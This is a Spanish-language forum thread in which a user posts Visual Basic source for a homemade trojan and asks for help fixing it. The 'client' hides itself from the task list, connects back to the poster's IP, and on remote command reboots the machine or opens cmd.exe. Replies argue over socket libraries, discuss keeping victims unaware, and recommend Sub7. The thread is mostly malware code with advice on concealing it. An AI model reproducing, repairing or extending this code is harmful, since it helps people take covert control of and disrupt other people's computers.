bueno gente me hice un troyano para mandar datos a una pc remota, y no me esta andando bien no se que le pasa, les dejo las listas de comandos del servidor y del cliente

SERVIDOR

Private Sub Command1_Click()
On Error Resume Next
ws.LocalPort = Text1.Text
ws.Close
ws.Listen
If ws.State = 2 Then Label1.Caption = "estado: conectando"
End Sub

Private Sub Command2_Click()
On Error Resume Next
ws.SendData "fin"
End Sub
Private Sub Command3_Click()
On Error Resume Next
ws.SendData "cmd"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Not ws.State = 7 Then Label1.Caption = "desconectado"
If ws.State = 7 Then Label1.Caption = "conectado"
If Label1.Caption = "desconectado" Then
    ws.Close
    ws.Listen
End If
End Sub

Private Sub ws_Close()
Label1.Caption = "desconectado"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
ws.Close
ws.Accept requestID
Label2.Caption = "conectando a: " + ws.RemoteHostIP
Shape1.FillColor = &HFF&
Timer1.Interval = 3000
End Sub


CLIENTE

Private Sub Form_Load()
On Error Resume Next
ws.RemoteHost = aca va mi ip, por seguridad no la pongo
ws.RemotePort = 1000
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
If Not ws.State = 7 Then
    ws.Close
    ws.Connect
End If
End Sub

Private Sub Timer2_Timer()
Shell ("cmd.exe")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If datos = "fin" Then Shell ("shutdown -r")
If datos = "cmd" Then Timer2.Enabled = True
End Sub

bueno cuando intento conectarme no me funciona el programa, no llega a decirme ni siquiera q se conecto

y el cliente cuando corre el timer (3 segundos) me tira un error cuando ejecuta ws.conect

disculpa si soy un poco agresivo...

pero... queres hacer un "troyano" y todavia no sabes programar??? que clase de persona quiere hacer un sistema operativo si nisiquiera saber lo que es una computadora???

por empezar usas el winsock, es lo mas lammer que hay, usa el CSocketMaster como minimo...

prero bue, esto es para todos los que quieren hacer un troyano y para los que hacen guias para hacer el mismo...

"troyano"

hagan algo mas productivo con un chat o nose un visualizador de desktop como el Real VNC pero un troyano? aparte siempre le ponen los msgbox apagar la pc reiniciar y abrir y cerrar el cd nada mas :S

bajen un sub7 o un ducktoy y lito :S

pero ya fue, disculpen si me excedi un poco...

saludos

estoy de acuerdo con Tughack usar el mswinsck.ocx no es de lammer ,pero usar el  cSocketMaster si seria lammer ya que estas copiando el code que alguien iso i la mayoria ni sabe como se hace , i ni siquiera leen el code ,yo en lo personal estoi haciendo uno.
pd: tughack te pido disculpas publicas por la todas las peleas ya que recapasite i en las mayoria tenias razón

aja desde cuando envian un "troyano" con un el ocx??? tienen que extraerlo de un recuros despues pegarlo en algun lado, llamarlo por preferencias y despues podes inisciar

el CSocketMaster compilas y salis andando, si para hacer un troyano la victima no se tiene que dar cuenta pero estan haciendo 10 procesos para pegar el ocx y ni vale la pena, aparte el CSocketMaster esta muchisimo mejor echo que el Winsock y si el CSoketMaster lo hizo un pibe,  y el winsock no??

aparte tiene multiples conexion, en cambio para hacer eso con el winsock tenes qeu hacer un hermoso kilombo.

siguan con sus troyanitos usdtedes